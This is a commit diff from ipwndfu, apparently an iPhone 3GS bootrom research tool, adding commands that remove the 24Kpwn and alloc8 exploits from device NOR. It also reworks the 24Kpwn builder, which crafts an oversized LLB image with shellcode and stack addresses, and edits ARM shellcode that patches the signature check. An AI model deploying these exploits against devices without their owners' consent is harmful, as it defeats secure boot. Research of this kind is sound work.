Skip to content

Commit 46a1015

Browse files
committed
Implement --remove-24kpwn and --remove-alloc8
1 parent f0f0cd2 commit 46a1015

7 files changed

Lines changed: 135 additions & 48 deletions

File tree

alloc8.py

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -106,3 +106,20 @@ def exploit(nor, version):
106106
new_nor.images.append(empty_img3(52)[:40] + struct.pack('<4I', SHELLCODE_ADDRESS, 0, *exceptions))
107107

108108
return new_nor
109+
110+
def remove_exploit(nor):
111+
assert len(nor.images) >= 700
112+
113+
new_nor = copy.deepcopy(nor)
114+
115+
new_images = []
116+
for image in new_nor.images:
117+
assert len(image) >= 20
118+
if image[16:20] != 'zero'[::-1]:
119+
new_images.append(image)
120+
assert len(new_images) < 32
121+
122+
new_nor.images = new_images
123+
new_nor.parts[1] = '\x00' * 460
124+
125+
return new_nor

bin/24Kpwn-shellcode.bin

-8 Bytes
Binary file not shown.

dfuexec.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -239,7 +239,7 @@ def boot_ibss(self):
239239
sys.exit(1)
240240

241241
iBSS = image3.Image3(data)
242-
decryptediBSS = iBSS.newDecryptedImage3()
242+
decryptediBSS = iBSS.newImage3(decrypted=True)
243243
n88ap_iBSS_435_patches = [
244244
(0x14954, 'run\x00'), # patch 'reset' command string to 'run'
245245
(0x17654, struct.pack('<I', 0x41000001)), # patch 'reset' command handler to LOAD_ADDRESS + 1

image3.py

Lines changed: 22 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -59,38 +59,40 @@ def getDecryptedPayload(self):
5959
decrypted_keybag = device.decrypt_keybag(keybag)
6060
return utilities.aes_decrypt(self.getPayload(), binascii.hexlify(decrypted_keybag[:16]), binascii.hexlify(decrypted_keybag[16:]))
6161

62-
def newDecryptedImage3(self):
62+
def shrink24KpwnCertificate(self):
63+
for i in range(len(self.tags)):
64+
tag = self.tags[i]
65+
if tag[0] == 'CERT'[::-1] and len(tag[3]) >= 3072:
66+
data = tag[3][:3072]
67+
assert data[-1] == '\x00'
68+
data = data.rstrip('\x00')
69+
self.tags[i] = ('CERT'[::-1], 12 + len(data), len(data), data)
70+
break
71+
72+
def newImage3(self, decrypted=True):
6373
typeTag = self.getTags('TYPE'[::-1])
6474
assert len(typeTag) == 1
6575
versTag = self.getTags('VERS'[::-1])
6676
assert len(versTag) <= 1
67-
dataTags = self.getTags('DATA'[::-1])
68-
assert len(dataTags) == 1
77+
dataTag = self.getTags('DATA'[::-1])
78+
assert len(dataTag) == 1
6979
sepoTag = self.getTags('SEPO'[::-1])
7080
assert len(sepoTag) <= 2
7181
bordTag = self.getTags('BORD'[::-1])
7282
assert len(bordTag) <= 2
83+
kbagTag = self.getTags('KBAG'[::-1])
84+
assert len(kbagTag) <= 2
7385
shshTag = self.getTags('SHSH'[::-1])
7486
assert len(shshTag) <= 1
7587
certTag = self.getTags('CERT'[::-1])
7688
assert len(certTag) <= 1
7789

78-
(tagMagic, tagTotalSize, tagDataSize, tagData) = dataTags[0]
79-
80-
if self.getKeybag() == None:
81-
# no KBAG, must not be encrypted
82-
decrypted = tagData
90+
(tagMagic, tagTotalSize, tagDataSize, tagData) = dataTag[0]
91+
if len(kbagTag) > 0 and decrypted:
92+
newTagData = self.getDecryptedPayload()
93+
kbagTag = []
8394
else:
84-
decrypted = self.getDecryptedPayload()
85-
assert len(tagData) == len(decrypted)
95+
newTagData = tagData
96+
assert len(tagData) == len(newTagData)
8697

87-
# Fix first 20 bytes of 24kpwn LLB
88-
if self.type == 'illb'[::-1] and self.totalSize >= 0x24000:
89-
# TODO: Check that DATA tag was in the correct location before decryption.
90-
DWORD1 = 0xea00000e
91-
DWORD2 = 0xe59ff018
92-
decrypted = struct.pack('<5I', DWORD1, DWORD2, DWORD2, DWORD2, DWORD2) + decrypted[20:]
93-
# Add empty SHSH and CERT
94-
shshTag = [('SHSH'[::-1], 12, 0, '')]
95-
certTag = [('CERT'[::-1], 12, 0, '')]
96-
return Image3.createImage3FromTags(self.type, typeTag + [(tagMagic, tagTotalSize, tagDataSize, decrypted)] + versTag + bordTag + shshTag + certTag)
98+
return Image3.createImage3FromTags(self.type, typeTag + [(tagMagic, tagTotalSize, tagDataSize, newTagData)] + versTag + sepoTag + bordTag + kbagTag + shshTag + certTag)

image3_24Kpwn.py

Lines changed: 42 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -1,27 +1,54 @@
11
# Credit: This file is based on 24Kpwn exploit (segment overflow) by the iPhone Dev Team.
22

33
import struct
4+
import image3
45

56
def exploit(img3, securerom):
67
with open('bin/24Kpwn-shellcode.bin', 'rb') as f:
78
shellcode = f.read()
89
MAX_SHELLCODE_LENGTH = 1024
910
assert len(shellcode) <= MAX_SHELLCODE_LENGTH
1011

11-
SHELLCODE_ADDRESS = 0x84024000 + 1 - 24 - 4 - len(shellcode)
12-
payload = shellcode + struct.pack('<I4s2I4s2I', SHELLCODE_ADDRESS, 'SHSH'[::-1], 12, 0, 'CERT'[::-1], 12, 0)
13-
1412
# Check IMG3 constraints.
1513
(img3_magic, total_size, data_size, signed_size, magic) = struct.unpack('<4s3I4s', img3[:20])
16-
assert img3_magic == 'Img3'[::-1] and magic == 'illb'[::-1]
17-
assert total_size < 0x24000 - len(payload) - 12
18-
assert data_size < 0x24000 - len(payload) - 12 - 20
19-
assert signed_size < 0x24000 - len(payload) - 12 - 20 and signed_size != 0
20-
assert len(img3) >= 20 + signed_size + 4 and img3[20 + signed_size:20 + signed_size + 4] == 'SHSH'[::-1]
21-
22-
img3 = struct.pack('<4s3I', 'Img3'[::-1], 0x24200, 0x241BC, 0x23FD4) + img3[16:20 + signed_size]
23-
img3 += struct.pack('4s2I', '24KP'[::-1], 0x24000 - 24 - signed_size - 20, 0)
24-
25-
STACK_ADDRESS = 0x84033E98
26-
PADDING_BEFORE = 0x24000 - len(payload) - len(img3)
27-
return img3 + '\x00' * PADDING_BEFORE + payload + securerom[0xb000:0xb1cc] + struct.pack('<I', STACK_ADDRESS) + '\x00' * 0x30
14+
assert img3_magic == 'Img3'[::-1] and signed_size != 0 and magic == 'illb'[::-1]
15+
assert total_size < 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - 12
16+
assert data_size < 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - 12 - 20
17+
assert signed_size < 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - 12 - 20
18+
assert 20 + signed_size + 4 <= len(img3) and img3[20 + signed_size:20 + signed_size + 4] == 'SHSH'[::-1]
19+
20+
PADDING = 0x24000 - (4 + 12 + 64 + 12 + 12) - len(shellcode) - (20 + signed_size + 12)
21+
SHELLCODE_ADDRESS = 0x84000000 + 1 + (20 + signed_size + 12 + PADDING)
22+
STACK_ADDRESS = 0x84033EA4
23+
img3 = struct.pack('<4s3I4s', 'Img3'[::-1], 0x24200, 0x241BC, 0x23F88, 'illb'[::-1]) + img3[20:20 + signed_size] \
24+
+ struct.pack('4s2I%sx' % PADDING, '24KP'[::-1], 12 + PADDING + len(shellcode) + 4, PADDING + len(shellcode) + 4) + shellcode \
25+
+ struct.pack('<I4s2I64x4s2I', SHELLCODE_ADDRESS, 'SHSH'[::-1], 12 + 64, 64, 'CERT'[::-1], 12, 0) \
26+
+ struct.pack('<4s2I460sI48x', '24KP'[::-1], 12 + 512, 512, securerom[0xB000:0xB000 + 460], STACK_ADDRESS)
27+
assert len(img3) == 0x24200
28+
return img3
29+
30+
def remove_exploit(img3):
31+
assert len(img3) > 0x24000
32+
assert img3[16:20] == 'illb'[::-1]
33+
34+
obj = image3.Image3(img3)
35+
if obj.getDecryptedPayload()[:4] != '\x0e\x00\x00\xea':
36+
# This is a 24Kpwn implementation which changes DATA tag. First dword of DATA tag should look like a shellcode address.
37+
shellcode_address, = struct.unpack('<I', img3[64:68])
38+
assert img3[52:56] == 'DATA'[::-1]
39+
assert 0x84000000 <= shellcode_address and shellcode_address <= 0x84024000
40+
41+
# Try to find the correct value for the first dword.
42+
found = False
43+
for pos in xrange(shellcode_address - 0x84000000, len(img3)):
44+
obj = image3.Image3(img3[:64] + img3[pos:pos + 4] + img3[68:])
45+
if obj.getDecryptedPayload()[:4] == '\x0e\x00\x00\xea':
46+
found = True
47+
break
48+
assert found
49+
50+
obj.shrink24KpwnCertificate()
51+
52+
img3 = obj.newImage3(decrypted=False)
53+
assert len(img3) <= 0x24000
54+
return img3

ipwndfu

Lines changed: 53 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -21,14 +21,16 @@ def print_help():
2121
print ' --dump-nor=file\t\tdump NOR to file'
2222
print ' --flash-nor=file\t\tflash NOR (header and firmware only) from file'
2323
print ' --24kpwn\t\t\tinstall 24Kpwn exploit to NOR'
24+
print ' --remove-24kpwn\t\tremove 24Kpwn exploit from NOR'
25+
print ' --remove-alloc8\t\tremove alloc8 exploit from NOR'
2426
print ' --decrypt-gid=hexdata\t\tAES decrypt with GID key'
2527
print ' --encrypt-gid=hexdata\t\tAES encrypt with GID key'
2628
print ' --decrypt-uid=hexdata\t\tAES decrypt with UID key'
2729
print ' --encrypt-uid=hexdata\t\tAES encrypt with UID key'
2830

2931
if __name__ == '__main__':
3032
try:
31-
advanced = ['dump=', 'hexdump=', 'dump-rom', 'dump-nor=', 'flash-nor=', '24kpwn', 'decrypt-gid=', 'encrypt-gid=', 'decrypt-uid=', 'decrypt-gid=']
33+
advanced = ['dump=', 'hexdump=', 'dump-rom', 'dump-nor=', 'flash-nor=', '24kpwn', 'remove-24kpwn', 'remove-alloc8', 'decrypt-gid=', 'encrypt-gid=', 'decrypt-uid=', 'decrypt-gid=']
3234
opts, args = getopt.getopt(sys.argv[1:], 'pxf:', advanced)
3335
except getopt.GetoptError:
3436
print 'ERROR: Invalid arguments provided.'
@@ -83,8 +85,8 @@ if __name__ == '__main__':
8385
sys.exit(1)
8486

8587
print 'Preparing modified NOR with alloc8 exploit.'
86-
# Decrypt LLB and remove 24Kpwn first.
87-
nor.images[0] = image3.Image3(nor.images[0]).newDecryptedImage3()
88+
# Remove 24Kpwn first.
89+
nor.images[0] = image3_24Kpwn.remove_exploit(nor.images[0])
8890
new_nor = alloc8.exploit(nor, device.config.version)
8991
device.flash_nor(new_nor.dump())
9092

@@ -181,13 +183,57 @@ if __name__ == '__main__':
181183
print 'ERROR: 24Kpwn exploit cannot be installed, because NOR has no valid LLB. Exiting.'
182184
sys.exit(1)
183185

184-
if len(nor.images[0]) >= 0x24000:
185-
# Decrypt LLB and remove previous 24Kpwn exploit.
186-
nor.images[0] = image3.Image3(nor.images[0]).newDecryptedImage3()
187-
186+
# Remove existing 24Kpwn exploit.
187+
if len(nor.images[0]) > 0x24000:
188+
nor.images[0] = image3_24Kpwn.remove_exploit(nor.images[0])
188189
nor.images[0] = image3_24Kpwn.exploit(nor.images[0], device.securerom_dump())
189190
device.flash_nor(nor.dump())
190191

192+
if opt == '--remove-24kpwn':
193+
device = PwnedDFUDevice()
194+
if device.config.cpid != '8920':
195+
print 'This is not a compatible device. 24Kpwn exploit is only supported on iPhone 3GS.'
196+
sys.exit(1)
197+
198+
print 'WARNING: This feature is for researchers only. Device will probably not boot into iOS until it is restored in iTunes.'
199+
raw_input("Press ENTER to continue.")
200+
201+
dump = device.nor_dump(saveBackup=True)
202+
203+
nor = nor.NorData(dump)
204+
205+
if len(nor.images) == 0:
206+
print 'ERROR: NOR has no valid LLB. It seems that 24Kpwn exploit is not installed. Exiting.'
207+
sys.exit(1)
208+
if len(nor.images[0]) <= 0x24000:
209+
print 'ERROR: LLB is not oversized. It seems that 24Kpwn exploit is not installed. Exiting.'
210+
sys.exit(1)
211+
212+
print 'Preparing modified NOR without 24Kpwn exploit.'
213+
nor.images[0] = image3_24Kpwn.remove_exploit(nor.images[0])
214+
device.flash_nor(nor.dump())
215+
216+
if opt == '--remove-alloc8':
217+
device = PwnedDFUDevice()
218+
if device.config.cpid != '8920':
219+
print 'This is not a compatible device. alloc8 exploit is for iPhone 3GS only.'
220+
sys.exit(1)
221+
222+
print 'WARNING: This feature is for researchers only. Device will probably not boot into iOS until it is restored in iTunes.'
223+
raw_input("Press ENTER to continue.")
224+
225+
dump = device.nor_dump(saveBackup=True)
226+
227+
nor = nor.NorData(dump)
228+
229+
if len(nor.images) < 700:
230+
print 'ERROR: It seems that alloc8 exploit is not installed. There are less than 700 images in NOR. Exiting.'
231+
sys.exit(1)
232+
233+
print 'Preparing modified NOR without alloc8 exploit.'
234+
new_nor = alloc8.remove_exploit(nor)
235+
device.flash_nor(new_nor.dump())
236+
191237
if opt == '--decrypt-gid':
192238
device = PwnedDFUDevice()
193239
print 'Decrypting with S5L%s GID key.' % device.config.cpid

src/24Kpwn-shellcode.S

Lines changed: 0 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,6 @@
77
.pool
88
.set SHA1_DWORD_ADDRESS, 0x840241cc
99
.set SHA1_DWORD_VALUE, 0x80100040
10-
.set DECRYPT_FLAG_ADDRESS, 0x84033f30
1110
.set NEW_LR_ADDRESS, 0x84033f18
1211
.set NEW_LR_VALUE, 0x2655
1312
.set NEW_PC_VALUE, 0x21ed
@@ -20,10 +19,6 @@ _start:
2019
LDR R1, =SHA1_DWORD_VALUE
2120
STR R1, [R0] @ *SHA1_DWORD_ADDRESS = SHA1_DWORD_VALUE
2221

23-
LDR R0, =DECRYPT_FLAG_ADDRESS
24-
MOV R1, #0
25-
STR R1, [R0] @ *DECRYPT_FLAG_ADDRESS = 0
26-
2722
LDR R0, =NEW_LR_ADDRESS
2823
LDR R1, =NEW_LR_VALUE
2924
STR R1, [R0] @ *NEW_LR_ADDRESS = NEW_LR_VALUE

0 commit comments

Comments
 (0)